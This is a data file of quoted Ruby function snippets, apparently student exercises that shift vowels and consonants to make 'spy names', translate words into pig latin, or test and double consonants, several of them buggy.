"def next_consonant(string)\n\tconsonants = \"bcdfghjklmnpqrstvwxyz\"\n\t#set index of string \n\tindex = 0\n\t#set index of vowels\n\ti = 0\n\t#create an empty string\n\tconverted_string = \"\"\n\t#for each index of the string, checks if equal to corresponding consonant and if so goes to the next consonant by adding one to the index\n\twhile index < string.length\n\t\t#start with if string has \"z\", converts to \"b\"\n\t\tif string[index] == consonants[20]\n\t\t\tconverted_string += \"b\"\n\t\t#if the string has any consonant besides \"z\"\n\t\telsif string[index] == consonants[i]\n\t\t\tconverted_string += consonants[i+1]\n\t\t#if string has vowels doesnt change character\n\t\telse \n\t\t\tconverted_string += string[index]\n\t\tend\n\t\t#go to next index in string\n\t\tindex += 1\n\t\t#reset vowel index to zero\n\t\ti += 1\n\tend\n\tconverted_string\nend",
"def next_consonant(name)\n\tconsonants = %w( b c d f g h j k l m n p q r s t v x y z)\n\t\tname = name.downcase.split('')\n\t\tnew_name = name.map do |con|\n\t\tif consonants.include?(con)\n\t\t\tconsonants.rotate(1)[consonants.index(con)]\n\t\telsif consonants == 'z'\n\t\t\tconsonants.replace('b')\n\t\telse\n\t\t\tcon\n\t\tend\n\tend\n\tnew_name.join.capitalize\nend",
"def next_consonant(name)\n name = name.downcase\n consonants = \"bcdfghjklmnpqrstvwxyz\"\n i = 0\n consonants_changed = \"\"\n\n until i == name.length\n consonants_index = consonants.index(name[i])\n if consonants_index == nil\n consonants_changed += name[i]\n elsif consonants_index == 20\n consonants_changed += \"b\"\n else\n consonants_changed += consonants[consonants_index+1]\n end\n i = i + 1\n end\n return consonants_changed\n end",
"def next_consonant(letter)\nconsonant = \"bcdfghjklmnpqrstvwxyz\"\ncurrent_index = consonant.index(letter)\nconsonant[current_index + 1]\n\tif letter == \"z\"\n\t\tprint \"b\"\n\telse letter == \" \"\n\t\tprint \" \"\n\tend\nend",
"def consonant_advance(letter)\r\nconsonant = \"abcdefghijklmnopqrstuvwxyz\".delete(\"aeiou\")\r\n if letter == \"z\"\r\n letter = \"b\"\r\n else\r\n letter = consonant[consonant.index(letter) +1]\r\n end \r\nend",
"def next_vowel_consonant(str) \r\n #create an array with only vowels or consonants\r\n\tvowels = [\"a\",\"e\",\"i\",\"o\",\"u\",\"a\"]\r\n\tconsonants = (\"a\"..\"z\").to_a\r\n consonants.reject! { |letter| vowels.include?(letter)}\r\n consonants << \"b\" #for looping back to b when z is the letter\r\n\t\r\n\t#convert input into an array of each letter\r\n\tname_array = str.split(\"\")\r\n\t\r\n\t#iterate through each letter\r\n\tname_array.each_with_index do |letter,index|\r\n\t \r\n\t #if it is a vowel, find and replace with next\r\n\t if vowels.include?(letter)\r\n\t vowel_index = vowels.index(letter) + 1\r\n\t str[index] = vowels[vowel_index]\r\n\t \r\n \t #if it is a consonant, find and replace with next\r\n\t elsif consonants.include?(letter)\r\n\t \tc_index = consonants.index(letter) + 1\r\n\t str[index] = consonants[c_index]\r\n\t end\r\n\tend\r\n\tstr\r\nend",
"def get_next_consonant(consonant,vowels)\n next_consonant = consonant\n loop do\n next_consonant = next_consonant.next\n break if !vowels.include?(next_consonant[-1])\n end\n next_consonant[-1]\nend",
"def next_letter(letter)\n vowels = \"aeiou\".chars\n consonants = \"bcdfghjklmnpqrstvwxyz\".chars\n if vowels.include?(letter)\n vowels.rotate(1)[vowels.index(letter)]\n elsif consonants.include?(letter)\n consonants.rotate(1)[consonants.index(letter)]\n else\n next_letter\n end\nend",
"def next_consonant (last_first)\n last_first.map! do |word|\n word.gsub(/[zdhntbcfgjklmpqrsvwxy]/, 'z' => 'b', 'd' => 'f', 'h' => 'j', 'n' => 'p', 't' => 'v', 'b' => 'c', 'c' => 'd', 'f' => 'g', 'g' => 'h', 'j' => 'k', 'k' => 'l', 'l' => 'm', 'm' => 'n', 'p' => 'q', 'q' => 'r', 'r' => 's', 's' => 't', 'v' => 'w', 'w' => 'x', 'x' => 'y', 'y' => 'z')\n end\nend",
"def consonant_changer(letter)\r\n\tif letter == \"z\"\r\n\t\tnew_letter = \"b\"\r\n\telsif letter == \" \"\r\n\t \tnew_letter = \" \"\r\n\telse\r\n\t\tconsonant_index = \"bcdfghjklmnpqrstvwxyz\".index(letter)\r\n \tnew_letter =\"bcdfghjklmnpqrstvwxyz\"[consonant_index.next]\r\n\tend\r\nend",
"def next_consonant(product)\n spot = 0 \n consonants = \"bcdfghjklmnpqrstvwxyz\"\n while spot < product.length\n if product[spot] == \"z\"\n product[spot] = \"b\"\n elsif consonants.split('').include?(product[spot])\n next_spot = consonants.index(product[spot]) + 1 \n product[spot] = consonants[next_spot]\n end\n spot += 1 \n end\n product\nend",
"def next_letter(reversed_name)\n vowels = 'aeioua'\n consonants = 'bcdfghjklmnpqrstvwxy'\n #reversed name to array\n reversed_name_array = reversed_name.split('')\n #check if letter is vowel if so make it next vowel\n #check if letter is consonant if so make it next consonant\n reversed_name_array.map! { |letter|\n if vowels.index(letter) != nil\n new_vowel = vowels.index(letter) + 1\n letter = vowels[new_vowel]\n elsif consonants.index(letter) != nil\n new_consonant = consonants.index(letter) + 1\n letter = consonants[new_consonant]\n else\n letter = letter\n end\n }\n reversed_name_array_joined = reversed_name_array.join\nend",
"def next_char(char)\n #if the char is capitalized we have to ask for uppercased vowels\n vowels = is_upcase?(char) ? \"AEIOU\" : \"aeiou\"\n if char == \" \"\n char\n elsif vowels.include?(char)\n get_next_vowel(char,vowels)\n else\n get_next_consonant(char,vowels)\n end\nend",
"def next_character(letter)\n vowel_cipher = {'a' => 'e', 'e' => 'i', 'i' => 'o', 'o' => 'u', 'u' => 'a'}\n consonants = 'bcdfghjklmnpqrstvwxyz'\n if vowel_cipher.has_key?(letter)\n letter = vowel_cipher[letter]\n elsif consonants.include? letter\n letter == consonants[-1] ? letter = consonants[0] : letter = consonants[consonants.index(letter)+1]\n end\nend",
"def consonants_adv(str)\r\n str = vowel_adv(str)\r\n consonants = [\"b\", \"c\", \"d\", \"f\", \"g\", \"h\", \"j\", \"k\", \"l\", \"m\", \"n\", \"p\", \"q\", \"r\", \"s\", \"t\", \"v\", \"w\", \"x\", \"y\", \"z\"]\r\n str = str.downcase\r\n str = str.split('')\r\n str_new = str.map do |char|\r\n if consonants.include?(char)\r\n consonants.rotate(1)[consonants.index(char)]\r\n else\r\n char\r\n end\r\n end\r\n str_new.join\r\nend",
"def translate_one_consonant( s )\n\n\t\t# store the letters in an array\n\t\tch_array = s.chars\n\n\t\t# then grab the first letter from the array\n\t\tfirst_letter = ch_array.shift\n\n\t\t# put that letter at the back with push and add 'ay'\n\t\tch_array << first_letter + \"ay\"\n\n\t\t# bring it back together\n\t\tch_array.join\n\n\tend",
"def next_letter(char)\n # checking consonant first since more common\n if next_consonant(char) == nil\n if next_vowel(char) == nil\n # puts \"Character neither consonant nor vowel\"\n return nil\n end\n else\n return next_consonant(char)\n end\n\n return next_vowel(char)\nend",
"def next_letter (name)\n vowels = \"aeiou\".split('')\nalphabet = ('a'..'z').to_a\nconsonants = alphabet - vowels\nname_array = name.split('')\nname_array.map! { |letter|\n if letter == \"u\"\n \"a\"\n elsif letter == \"z\"\n \"b\"\n elsif consonants.include? letter\n consonants[consonants.index(letter) + 1]\n elsif vowels.include? letter\n vowels[vowels.index(letter) + 1]\n else\n letter\n end\n}\nname_array.join('')\nend",
"def next_vowcon(oldlet) #actually takes in the whole name (not just 1 letter), since it is only split to an array of [first_name, last_name]\r\n vowel = ['a','e','i','o','u']\r\n rot_vow = vowel.rotate #reverses vowel array\r\n consonant = 'bcdfghjklmnpqrstvwxzy'.split('')\r\n rot_cons= consonant.rotate #reverses consonant array\r\n i=0\r\n while i < oldlet.length\r\n if vow_index = vowel.index(oldlet[i])\r\n oldlet[i] = rot_vow[vow_index]\r\n else\r\n cons_index = consonant.index(oldlet[i])\r\n oldlet[i] = rot_cons[cons_index]\r\n end\r\n i +=1\r\n end\r\n return oldlet\r\nend",
"def consonants(consonants_letter)\r\n consonants = \"bcdefghjklmnpqrstvwxyz\"\r\n current_location = consonants.index(consonants_letter)\r\n new_consonants = current_location + 1\r\n if consonants.index(consonants_letter) == 21\r\n results = \"b\"\r\n else\r\n results = consonants[new_consonants]\r\n end\r\n results\r\nend",
"def next_letter(letter)\n\tvowels = \"aeiou\".chars\n\tconsonants = \"bcdfghjklmnpqrstvwxyz\".chars \n\t\n\tcase\n\t\twhen vowels.include?(letter)\n\t\t\tif letter == vowels[-1]\n\t\t\t\tnew_letter = vowels[0]\n\t\t\telse\t\n\t\t\t\tidx = vowels.index(letter) + 1\n\t\t\t \tnew_letter = vowels[idx]\n\t\t\tend\n\t\twhen consonants.include?(letter)\n\t\t\tif letter == consonants[-1]\n\t\t\t\tnew_letter = consonants[0]\n\t\t\telse\n\t\t\t\tidx = consonants.index(letter) + 1\n\t\t\t\tnew_letter = consonants[idx]\n\t\t\tend\t\n\t\telse\n\t\t\tnew_letter = \"*\"\n\tend\n\t\n\treturn new_letter\nend",
"def advance_letter letter\n vowel='aeiou'\n consonant='bcdfghjklmnpqrsvwxyz'\n if vowel.include?(letter)\n if letter==vowel[-1]\n letter=vowel[0]\n else\n letter=vowel[vowel.index(letter)+1]\n end\n elsif consonant.include?(letter)\n if letter==consonant[-1]\n letter=consonant[0]\n else\n letter=consonant[consonant.index(letter)+1]\n end\n end\n letter\nend",
"def consonant_changer(name)\n consonant_guide = [\"b\", \"c\", \"d\", \"f\", \"g\", \"h\", \"j\", \"k\", \"l\", \"m\", \"n\", \"p\", \"q\", \"r\", \"s\", \"t\", \"v\", \"w\", \"x\", \"y\", \"z\"]\n name.map! do |chars|\n counter = 0\n while counter < consonant_guide.length\n if chars == consonant_guide[counter]\n chars = consonant_guide[counter += 1]\n counter += 1\n elsif chars == \"z\"\n chars = \"b\"\n counter += 1\n else\n chars\n counter += 1\n end\n end\n chars\n end\n name\n name.join('').capitalize!\nend",
"def change_consonant(consonant)\n consonants = 'bcdfghjklmnpqrstvwxyzb'\n new_consonants = consonants.index(consonant)\n next_consonant = new_consonants + 1\n swapped_consonant = consonants[next_consonant]\nend",
"def cycle_char(char)\n @upCaseIt = !@upCaseIt\n @upCaseIt ? char.upcase : char.downcase\nend",
"def vowel_consonant_adv(str)\r\n \t\tvowels = [\"a\", \"e\", \"i\", \"o\", \"u\"]\r\n \t\tstr = str.split('')\r\n \t\tstr_new = str.map do |letter|\r\n if vowels.include?(letter)\r\n \tvowels.rotate(1)[vowels.index(letter)]\r\n else\r\n \tletter.next\r\n end\r\n \tend\r\n \t\tstr_new.join\r\n\tend",
"def next_vowel (vowel)\n vowel_downcase = vowel.downcase\n next_vowel = vowel_downcase.gsub(/[aeiou]/, 'a' => 'e', 'e' => 'i', 'i' => 'o', 'o' => 'u', 'u' => 'a')\n #Capitalize next letter if the original letter is upper case\n next_vowel = capitalize(vowel, next_vowel)\nend",
"def consonant_changer(name)\n consonant_string = \"bcdfghjklmnpqrstvwxyz\"\n name_array = name.downcase.chars\n new_name = []\n name_array.each do |character|\n if character == \"z\"\n character = \"b\"\n new_name << character\n elsif consonant_string.include? character\n character = consonant_string[consonant_string.index(character) +1]\n new_name << character\n else\n new_name << character\n end\n end\n p new_name.join(\"\").split(\" \").each {|word| word.capitalize!}.join(\" \")\nend",
"def consonant_converter(string)\r\n name_array = string\r\n consonant = ['b', 'c', 'd', 'f', 'g', 'h', 'j', 'k', 'l', 'm', 'n', 'p', 'q', 'r', 's', 't', 'v', 'w', 'x', 'y', 'z']\r\n counter = 0\r\n consonant_counter = 0\r\n# Outer loop that loops through entire name (first and last)\r\n while counter < name_array.length\r\n# Inner loop that loops through list of consonants, compares them with name, and changes consonants in name\r\n \twhile consonant_counter < consonant.length\r\n \t\tif name_array[counter] == consonant[consonant_counter]\r\n if name_array[counter] == 'z'\r\n \tname_array[counter] = 'b'\r\n break\r\n else\t\r\n \t\t name_array[counter] = consonant[consonant_counter + 1]\r\n \t\t break\r\n \t\t end\r\n \t end\r\n consonant_counter += 1\r\n end\r\n counter += 1\r\n consonant_counter = 0\r\n end \r\n new_name = name_array.join('')\r\n new_name = new_name.split(' ')\r\n new_name.map! { |word| word.capitalize! }\r\n new_name = new_name.join(' ')\r\n return new_name\r\nend",
"def const_adv(str)\n consonants = [\"b\",\"c\",\"d\",\"f\",\"g\",\"h\",\"j\",\"k\",\"l\",\"m\",\"n\",\"p\",\"q\",\"r\",\"s\",\"t\",\"v\",\"w\",\"x\",\"y\",\"z\"]\n str = str.split('')\n str_new = str.map do |char|\n if consonants.include?(char)\n consonants.rotate(1)[consonants.index(char)]\n else\n char\n end\n end\n str_new.join\nend",
"def translate_two_consonants( s )\n\n\t\t\t\t# store the letters in an array\n\t\t\t\tch_array = s.chars\n\n\t\t\t\t# then grab the first letter from the array\n\t\t\t\tfirst_letter = ch_array.shift\n\n\t\t\t\t# then grab the second letter from the array\n\t\t\t\tsecond_letter = ch_array.shift\n\n\t\t\t\t# put both letters at the back with push and add 'ay'\n\t\t\t\tch_array << first_letter + second_letter + \"ay\"\n\n\t\t\t\t# bring it back together\n\t\t\t ch_array.join\n\n\tend",
"def letter_changer(x)\n vowels = ['a','e','i','o','u']\n consonants = ['b','c','d','f','g','h','j','k','l','m','n','p','q','r','s','t','v','w','x','y','z']\n if vowels.include? x\n if x == 'u'\n x = 'a'\n else\n index_x = vowels.index(x)\n next_vowel = vowels[index_x + 1]\n end\n elsif consonants.include? x\n if x == 'z'\n x = 'b'\n else\n index_x = consonants.index(x)\n next_consonant = consonants[index_x + 1]\n end\n end\nend",
"def next_vowel(vowel)\r\n\r\n##Remember that 'a' is not the same as 'A'\r\n\tvowels = ['a','e','i','o','u']\r\n\ti = vowels.index (vowel)\r\n\tif vowel == 'u'\r\n\t\tvowel = 'a'\r\n\telse\r\n\t\tvowel = vowels[i+1]\r\n\tend\r\nend",
"def double_consonants(string)\n doubled_string = ''\n string.chars.each do |char|\n doubled_string << char\n doubled_string << char if consonant?(char.downcase)\n end\n\n doubled_string\nend",
"def the_next_alphabet(word)\n word.next {|i| i + 1 }\nend",
"def starts_with_consonant? (s)\n start = false\n if ((s =~ /\\A(?=[^aeiou])(?=[a-z])/i) == 0)\n start = true\n end\n return start\nend",
"def vowel_next(character)\n if character == 'u'\n character = 'a'\n else \n character = $VOWELS[$VOWELS.index(character) + 1]\n end\n return character\nend",
"def next_vowel(str)\n\t# Need to identify the vowels in the English alphabet in a new variable\n\tvowels = [\"a\",\"e\",\"i\",\"o\",\"u\"]\n\t# Need to also identify the consonants in the English alphabet in a new variable\n\tconsonants = [\"b\",\"c\",\"d\",\"f\",\"g\",\"h\",\"j\",\"k\",\"l\",\"m\",\"n\",\"p\",\"q\",\"r\",\n\t\t\"s\",\"t\",\"v\",\"w\",\"x\",\"y\",\"z\"]\n\twords = str.split # Splitting the name into words based on space (' ')\n\t\n\t## Loop into each name\n\ti = 0 # Setting an index to zero\n\tnew_word = [] # Setting up an empty array for our new scrambled word\n\tmod_word = [] # Setting up an empty array to hold the capitalized scrambled word\n\n\twhile i < words.length # Looping into each word\n\t\tchars = words[i].split('') # Split each word into characters\n\t\tnew_chars = chars.map{|char| # Mapping into each character\n\t\t\tif vowels.include?(char) # If the character is included in the vowels variable\n\t\t\t\tvowels.rotate(1)[vowels.index(char)] # Reassign it to the next vowel\n\t\t\telsif consonants.include?(char) # If the character is included in the consonants variable\n\t\t\t\tconsonants.rotate(1)[consonants.index(char)] # Reassign it to the next consonet\n\t\t\telse\n\t\t\t\tchar # Otherwise don't do anything (In case there are odd characters)\n\t\t\tend\n\t\t}\n\t\tnew_word.push(new_chars.join) # rejoin the word\n\t\t# This bit of code capitalizes the first character of the name\n\t\tmod_word.push(new_word[i].slice(0,1).capitalize + new_word[i].slice(1..-1))\n\t\ti += 1 # increment counter\n\tend\n\treturn mod_word.join(' ') # return the rejoined words\nend",
"def both_changed(name)\n part_1_vowels = next_vowel(name)\n part_2_consonants = next_consonant(part_1_vowels)\n return part_2_consonants #gives it back to caller\nend",
"def consonant_cancel(sentence)\r\n newSentence = []\r\n sentence.split(\" \").each do |word|\r\n newWord = word\r\n while !('aeiou'.include?(newWord[0]))\r\n newWord = newWord[1..-1]\r\n end\r\n newSentence << newWord\r\n end\r\n return newSentence.join(\" \")\r\nend",
"def next_vowel(vowel)\n 'aeiou'[('aeiou'.index(vowel) + 1) % 'aeiou'.length]\nend",
"def starts_with_consonant? s\n first = s[0,1].downcase\n vowels = ['a', 'e', 'i', 'o', 'u']\n \n if vowels.include?(first)\n return false\n end\n if first =~ /[[:alpha:]]/\n return true\n end\nend",
"def the_next_alphabet(word)\n alphabets = [\"a\", \"b\", \"c\", \"d\", \"e\", \"f\", \"g\", \"h\", \"i\", \"j\", \"k\", \"l\", \"m\",\n \"n\" , \"o\", \"p\", \"q\", \"r\", \"s\", \"t\", \"u\", \"v\", \"w\", \"x\", \"y\", \"z\"]\n return_word = \"\"\n\n word.chars.each do |char|\n index = alphabets.find_index(char.downcase)\n return_word = return_word + alphabets[index + 1]\n end\n\n return_word[0] = return_word[0].upcase\n\n return return_word\nend",
"def translate str\n alpha = ('a'..'z').to_a\n vowels = %w[a e i o u]\n consonants = alpha - vowels\n\n if vowels.include?(str[0])\n str + 'ay'\n elsif consonants.include?(str[0]) && consonants.include?(str[1])\n str[2..-1] + str[0..1] + 'ay'\n elsif consonants.include?(str[0])\n str[1..-1] + str[0] + 'ay'\n else\n str # return unchanged\n end\nend",
"def next_vowel (str)\r\n\tvowels = ['a', 'e', 'i', 'o', 'u']\r\n\tstr = str.chars\r\n\tstr.map do |char|\r\n\t\tif vowels.include?(char)\r\n\t\t\tvowels.rotate(1)[vowels.index(char)]\r\n\t\telse\r\n\t\t\tchar\r\n\t\tend\r\n\tend\r\n\tstr = str.strip!\r\nend",
"def double_consonants(str)\n results = \"\"\n str.each_char do |char| \n if char.downcase =~ /[a-z&&[^aeiou]]/\n results << char * 2 \n else\n results << char\n end\n end\n results\nend",
"def next_vowel(string)\n\tvowels = \"aeiou\"\n\t#set index of string \n\tindex = 0\n\t#set index of vowels\n\ti = 0\n\t#create an empty string\n\tconverted_string = \"\"\n\t#for each index of the string, checks if equal to corresponding vowel and if so goes to the next vowel by adding one to the index\n\twhile index < string.length\n\t\t#start with if string has \"u\", converts to \"a\"\n\t\tif string[index] == vowels[4]\n\t\t\tconverted_string += \"a\"\n\t\t#if the string has any vowel besides \"u\"\n\t\telsif string[index] == vowels[i]\n\t\t\tconverted_string += vowels[i+1]\n\t\t# for consonants doesnt change character\n\t\telse \n\t\t\tconverted_string += string[index]\n\t\tend\n\t\t#go to next index in string\n\t\tindex += 1\n\t\t#reset vowel index to zero\n\t\ti += 1\n\tend\n\tconverted_string\nend",
"def starts_with_consonant?(s)\n # if s.empty?\n \n \n # psj :: !! it's easier to evaluate an array of vowels using #includes? than understand your regular expression\n # vh: agreed but was not passing test on special characters ex. /&%$# \n # this expression works too (s =~ /^(?=[^aeiou])(?=a-z)/i )==0\n # you had it something like this: , so we can add\n # BP : What I noticed on this is that the original way it was written,\n # any tests with numbers or special characters were returning true. ..and emptys and ints threw errors.\n # the other option could be to just test the consonants instead of vowels.. but that isn't very elegent \n vowels = %w(a e i o u)\n consonant =(\"a\"..\"z\").find_all { |letter| !vowels.include? letter}\n #consonant = (\"a\"..\"z\").collect { |letter| !vowels.include? letter}\n if s.is_a?(String) && !s.empty?\n return consonant.include? s[0].downcase\n\n else\n return false\n end\n \n \nend",
"def make_chars_next(string)\n\tvowels = ['a', 'e', 'i', 'o', 'u']\n\tstring_with_chars_incremented = \"\"\n\tstring.each_char do |char|\n\t\tif char == ' '\n\t\t\tstring_with_chars_incremented << ' '\n\t\telsif vowels.index(char.downcase) != nil\n\t\t\tif char.downcase == 'u'\n\t\t\t\tif char == char.downcase\n\t\t\t\t\tstring_with_chars_incremented << 'a'\n\t\t\t\telse\n\t\t\t\t\tstring_with_chars_incremented << 'A'\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tif char == char.downcase\n\t\t\t\t\tstring_with_chars_incremented << vowels[vowels.index(char)+1]\n\t\t\t\telse\n\t\t\t\t\tstring_with_chars_incremented << vowels[vowels.index(char.downcase)+1].upcase\n\t\t\t\tend\n\t\t\tend\n\t\telsif char == 'z'\n\t\t\tstring_with_chars_incremented << 'a'\n\t\telsif char == 'Z'\n\t\t\tstring_with_chars_incremented << 'A'\n\t\telse\n\t\t\tstring_with_chars_incremented << char.next\n\t\tend\n\tend\n\tstring_with_chars_incremented\nend",
"def next_vowel(vowel)\n vowel_list = \"aeiou\".chars\n original_index = vowel_list.index(vowel)\n new_vowel = vowel_list.rotate[original_index]\n return new_vowel\nend",
"def nextLetter(full_name)\n vowels = 'aeiou'\n split_letters = full_name.split('')\n split_letters.map! { |letter|\n if letter != \" \"\n if vowels.index(letter.downcase) != nil\n letter = nextVowel(letter)\n else\n letter = nextConsonant(letter)\n end\n else\n # Don't know exactly why this has to be here but I lose my spaces if I\n # don't do it.\n letter = letter\n end\n }\n split_letters.join('')\nend",
"def double_consonants(str)\n result = \"\"\n str.chars.each do |ch|\n result << if ch.downcase.match?(/[a-z&&[^aeiou]]/)\n ch * 2\n else\n ch\n end\n end\n result\nend",
"def next_vowel(letter)\n\tvowels = \"aeiou\"\n\tif letter == \"u\"\n\t\tnext_vowel = \"a\"\n\telse\n\tnext_vowel = vowels[vowels.index(letter) + 1]\nend\nend",
"def double_consonants(string)\n string.chars.inject('') do |str, char|\n char.downcase.count(\"a-z\", \"^aeiou\") > 0 ? str + char * 2 : str + char\n end\nend",
"def translate word\n alpha = ('a'..'z').to_a\n vowels = %w[a e i o u]\n consonants = alpha - vowels\n\n if vowels.include?(word[0])\n word + 'ay'\n elsif consonants.include?(word[0]) && consonants.include?(word[1])\n word[2..-1] + word[0..1] + 'ay'\n elsif consonants.include?(word[0])\n word[1..-1] + word[0] + 'ay'\n else\n word # return unchanged\n end\nend",
"def starts_with_consonant? s\n s =~ /\\A(?=[^aeiou])(?=[a-z])/i\nend",
"def starts_with_consonant?(s)\n return false if s.empty?\n %Q{b c d f g h j k l m q r s t v w x y z}.include? s[0].downcase\nend",
"def nextLetters(aliasArray)\n\tvowels = 'aeiou'.split('')\n\tconsonants = 'bcdfghjklmnpqrstvwxyz'.split('')\n\n\t# use map! to loop through each character of array\n\taliasArray.map! {|char|\n\t\t\n\t\t# if vowel, provide next vowel [METHOD]\n\t\tif vowels.include? char\n\t\t\tvowels[(vowels.index(char) + 1) % 5]\n\n\t\t# if consonant, provide next consonant [CONSONANT]\n\t\telsif consonants.include? char\n\t\t\tconsonants[(consonants.index(char) + 1) % 21]\n\t\t\n\t\telse\n\t\t\t' '\n\t\tend\n\t}\t\nend",
"def change_char(char)\r\n vowels = [\"a\", \"e\", \"i\", \"o\", \"u\"]\r\n constanants = [\"b\", \"c\", \"d\", \"f\", \"g\", \"h\", \"j\", \"k\", \"l\", \"m\", \"n\", \"p\", \"q\", \"r\", \"s\", \"t\", \"v\", \"w\", \"x\", \"y\", \"z\"]\r\n alphabet = 'abcdefghijklmnopqrstuvwxyz'\r\n \r\n index_of_char = alphabet.index(char) # check for any non-alphabet characters\r\n is_vowel = vowels.index(char) # check any vowels\r\n is_constanant = constanants.index(char) # check for any constanants\r\n \r\n if index_of_char == nil \r\n char\r\n # letter is not in alphabet, returns same character \r\n elsif is_vowel \r\n vowels.rotate(1)[vowels.index(char)]\r\n # if letter is a vowel, returns next vowel \r\n elsif is_constanant \r\n constanants.rotate(1)[constanants.index(char)] \r\n # if letter is a constanant, returns next constanant\r\n else\r\n char\r\n end\r\nend",
"def translate(word)\r\n vowels = \"aeio\".split('').to_a\r\n consonant = \"bcdfghjklmnpqrstuvwxyz\".split('').to_a \r\n answer = []\r\n \r\n while word.split(' ').length == 1 \r\n words = word.split('')\r\n until vowels.include?(words[0])\r\n words = words.rotate(1)\r\n end\r\n words << \"ay\"\r\n return words.join('')\r\n end # one word ^^\r\n \r\n if word.split(' ').length > 1 \r\n words = word.split(' ')\r\n end \r\n words.each do |i|\r\n if vowels.include?(i[0])\r\n i << \"ay\"\r\n answer << i\r\n #return answer\r\n end\r\n end\r\n \r\n words.each do |j|\r\n if consonant.include?(j[0])\r\n j = j.split('').rotate(1).join('') until vowels.include?(j[0])\r\n j = j + \"ay\"\r\n #return j\r\n #j << j #correct format for 1 consonant but it doesnt add to array\r\n answer << j\r\n end\r\n end\r\n \r\n return answer.join(' ')\r\n end",
"def starts_with_consonant?(s)\n if s.empty?\n return false\n elsif ( /[a-z]/ =~ s[0].downcase && /[^aeiou]/ =~ s[0].downcase)\n return true\n elsif ( /[A-Z]/ =~ s[0].upcase && /[^AEIOU]/ =~ s[0].upcase)\n return true\n else\n return false\n end\nend",
"def vowel(letter)\n vowels = \"aeiou\"\n vowel_index = vowels.index(letter) + 1\n next_letter = vowels[vowel_index]\nend",
"def consonant_rep(array_of_char)\n array_of_char.map! do | char |\n consonants = ['b', 'c', 'd', 'f', 'g', 'h', 'j', 'k', 'l', 'm', 'n', 'p', 'q', 'r', 's', 't', 'v', 'w', 'x', 'y', 'z']\n if consonants.include? char\n consonant_index = ['b', 'c', 'd', 'f', 'g', 'h', 'j', 'k', 'l', 'm', 'n', 'p', 'q', 'r', 's', 't', 'v', 'w', 'x', 'y', 'z', 'b']\n i = consonant_index.index(char) + 1\n char = consonant_index[i] \n else char = char\n end\n end\n array_of_char\nend",
"def next_letter(name)\n vowels = \"aeiou\".split(\"\")\n consonants = \"bcdfghjklmnpqrstvwxyz\".split(\"\")\n spy_name = []\n \n name.split(\"\").map do |letter|\n if vowels.include?(letter)\n vowels.index(letter)\n index = vowels.index(letter)\n new_letter = vowels[index + 1]\n new_letter\n elsif consonants.include?(letter)\n consonants.index(letter)\n index = consonants.index(letter)\n new_letter = consonants[index + 1]\n new_letter\n elsif letter == \" \"\n new_letter = \" \"\n new_letter\n end\n spy_name.push(new_letter)\n end\n \n spy_name.join(\"\")\nend",
"def next_vowel(name)\n\tvowels = %w( a e i o u )\n\tname = name.downcase!.split('')\n\tnew_name = name.map do |vowels_method|\n\t\tif vowels.include?(vowels_method)\n\t\t\tvowels.rotate(1)[vowels.index(vowels_method)]\n\t\telsif vowels == 'u'\n\t\t\tvowels.replace('a')\t\n\t\telse\n\t\t\tvowels_method\n\t\tend\n\tend\n\tnew_name.join.capitalize\nend",
"def double_consonants(string)\n final = string.chars.map do |el|\n if %w[a e i o u].include?(el)\n el\n elsif ('a'..'z').include?(el.downcase)\n el * 2\n else\n el\n end\n end\n final.join\nend",
"def translate_word(word)\n first_letter = word[0].downcase\n \n if word[0..1] == \"qu\"\n return word[2..-1] + word[0..1] + \"ay\"\n end\n if word[0] == \"s\" && word[1..2] == \"qu\"\n \n return word[3..-1] + word[0] + word[1..2] + \"ay\"\n end\n\n if [\"a\", \"e\", \"i\", \"o\", \"u\"].include?(first_letter)\n #translate word that starts with vowel\n \"#{word}ay\"\n else\n #translate word that starts with consonant(s)\n consonants = []\n consonants << word[0]\n\n if[\"a\", \"e\", \"i\", \"o\", \"u\"].include?(word[1]) == false\n consonants << word[1]\n\n if[\"a\", \"e\", \"i\", \"o\", \"u\"].include?(word[2]) == false\n consonants << word[2]\n\n end\n\n end\n \"#{word[consonants.length..-1] + consonants.join + \"ay\"}\"\n end\nend",
"def consonant_cancel(sentence)\n vowel = \"aeiou\"\n new_arr = []\n sentence.split(\" \").each do |word|\n word.each_char.with_index do |char, i|\n if vowel.include?(char)\n new_word = word[i..-1]\n new_arr << new_word\n break\n end\n end\n end\n new_arr.join(\" \")\nend",
"def vowel(letter)\n\tvowels = \"aeiou\"\n\tvowels2 = vowels.chars.rotate.join('')\n\teach_id = vowels.index(letter.downcase)\n\tnext_vowel = vowels2[each_id]\nend",
"def increment_letter(letter)\n vowels = %w('a', 'e', 'i', 'o', 'u', 'y')\n if vowels.include?(letter)\n vowels[letter == vowels.last ? 0 : vowels.index(letter) + 1]\n elsif letter == ' '\n letter\n else\n next_letter = letter == 'z' ? 'a' : letter.next\n vowels.include?(next_letter) ? next_letter.next : next_letter\n end\nend",
"def c\n return $consonants.choice\nend",
"def vowel_or_consonant\n puts \"What is your first name?\"\n #request first name\n first_name = gets.chomp.downcase\n #save user input, remove capitalization\n puts \"What is your last name?\"\n #request for users last name\n last_name = gets.chomp.downcase\n #save user input, remove capitalization\n #method to check for letter type\n vowels_first = first_name.gsub(/[aeiou]/,'a'=>'e','e'=>'i','i'=>'o','o'=>'u','u'=>'a')\n #check first name for vowels, replaces with next vowel\n vowels_last = last_name.gsub(/[aeiou]/,'a'=>'e','e'=>'i','i'=>'o','o'=>'u','u'=>'a')\n consonant_first = vowels_first.gsub(/[bcdfghjklmnpqrstvwxyz]/, 'b'=>'c', 'c'=>'d', 'd'=>'f', 'f'=>'g', 'g'=>'h', 'h'=>'j', 'j'=> 'k', 'k'=>'l', 'l'=>'m', 'm'=>'n', 'n'=>'p', 'p'=>'q', 'q'=>'r', 'r'=>'s', 's'=>'t', 't'=>'v', 'v'=>'w', 'w'=>'x', 'x'=>'y', 'y'=>'z', 'z'=>'b')\n consonant_last = vowels_last.gsub(/[bcdfghjklmnpqrstvwxyz]/, 'b'=>'c', 'c'=>'d', 'd'=>'f', 'f'=>'g', 'g'=>'h', 'h'=>'j', 'j'=> 'k', 'k'=>'l', 'l'=>'m', 'm'=>'n', 'n'=>'p', 'p'=>'q', 'q'=>'r', 'r'=>'s', 's'=>'t', 't'=>'v', 'v'=>'w', 'w'=>'x', 'x'=>'y', 'y'=>'z', 'z'=>'b')\n spy_name = \"#{consonant_last.capitalize} #{consonant_first.capitalize}\"\n #declares spy name\n puts \"The name #{first_name.capitalize} #{last_name.capitalize} turns into #{spy_name}\"\n #displays product of method\nend",
